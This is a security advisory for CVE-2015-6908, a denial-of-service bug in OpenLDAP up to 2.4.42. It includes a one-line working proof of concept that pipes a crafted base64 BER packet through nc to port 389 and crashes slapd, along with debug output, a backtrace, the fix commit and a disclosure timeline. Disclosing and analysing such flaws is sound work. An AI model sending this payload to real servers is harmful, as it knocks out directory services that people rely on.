CVE-2015-6908

# Exploit Title: OpenLDAP 2.4.42 ber_get_next DOS
# Date: 11/09/15
# Exploit Author: Denis Andzakovic - Security-Assessment.com
# Vendor Homepage: http://www.openldap.org/
# Software Link:
ftp://ftp.openldap.org/pub/OpenLDAP/openldap-release/openldap-2.4.42.tgz
# Version: <= 2.4.42
# Tested on: Debian 8

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                presents..
OpenLDAP get_ber_next Denial of Service
Affected Versions: OpenLDAP <= 2.4.42

PDF: http://www.security-assessment.com/files/documents/advisory/OpenLDAP-ber_get_next-Denial-of-Service.pdf

+-------------+
| Description |
+-------------+
By sending a crafted packet, an attacker may cause the OpenLDAP server to reach an assert() statement, crashing 
the daemon. This was tested on OpenLDAP 2.4.42 (built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian 
package repository.

+--------------+
| Exploitation |
+--------------+
By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash with a SIGABRT. This is due to an 
assert() call within the ber_get_next method (io.c line 682) that is hit when decoding tampered BER data. 

The following proof of concept exploit can be used to trigger the condition:

--[ Exploit POC
echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389

The above causes slapd to abort as follows when running with '-d3', however it should be noted that this will crash
the server even when running in daemon mode. 

--[ sladp -d3
55f0b36e slap_listener_activate(7): 
55f0b36e >>> slap_listener(ldap:///)
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=8, got=8
  0000:  ff 84 84 84 84 84 77 83                            ......w.          
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=1, got=1
  0000:  0a                                                 .                 
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
slapd: io.c:682: ber_get_next: Assertion `0' failed.

The following GDB back trace provides further information as to the location of the issue.

--[ back trace
program received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff2e4a700 (LWP 1371)]
0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
56	../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#1  0x00007ffff6a144e8 in __GI_abort () at abort.c:89
#2  0x00007ffff6a0c226 in __assert_fail_base (fmt=0x7ffff6b42ce8 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=assertion@entry=0x55f280 "0", file=file@entry=0x59bdb1 "io.c", 
    line=line@entry=682, function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "ber_get_next") at assert.c:92
#3  0x00007ffff6a0c2d2 in __GI___assert_fail (assertion=assertion@entry=0x55f280 "0", file=file@entry=0x59bdb1 "io.c", line=line@entry=682, 
    function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "ber_get_next") at assert.c:101
#4  0x000000000053261a in ber_get_next (sb=0x7fffe40008c0, len=0x7ffff2e49b40, ber=0x7fffe4000a00) at io.c:682
#5  0x0000000000420b56 in connection_input (cri=<optimized out>, conn=<optimized out>) at connection.c:1572
#6  connection_read (cri=<optimized out>, s=<optimized out>) at connection.c:1460
#7  connection_read_thread (ctx=0x7ffff2e49b90, argv=0xf) at connection.c:1284
#8  0x000000000050c871 in ldap_int_thread_pool_wrapper (xpool=0x8956c0) at tpool.c:696
#9  0x00007ffff6d8f0a4 in start_thread (arg=0x7ffff2e4a700) at pthread_create.c:309
#10 0x00007ffff6ac404d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111

+----------+
| Solution |
+----------+
This issue has been resolved by commit 6fe51a9ab04fd28bbc171da3cf12f1c1040d6629 in
git://git.openldap.org/openldap.git

+----------+
| Timeline |
+----------+

10/09/15 - Issue raised on OpenLDAP issue tracker, marked as a ‘minor’ security issue, as per the requirements in
the ITS, making the issue public.
10/09/15 - Patch pushed to OpenLDAP master branch by Howard Chu, commit 6fe51a9ab04fd28bbc171da3cf12f1c1040d6629
10/09/15 - Release of this advisory document.

+-------------------------------+
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+-------------------------------+

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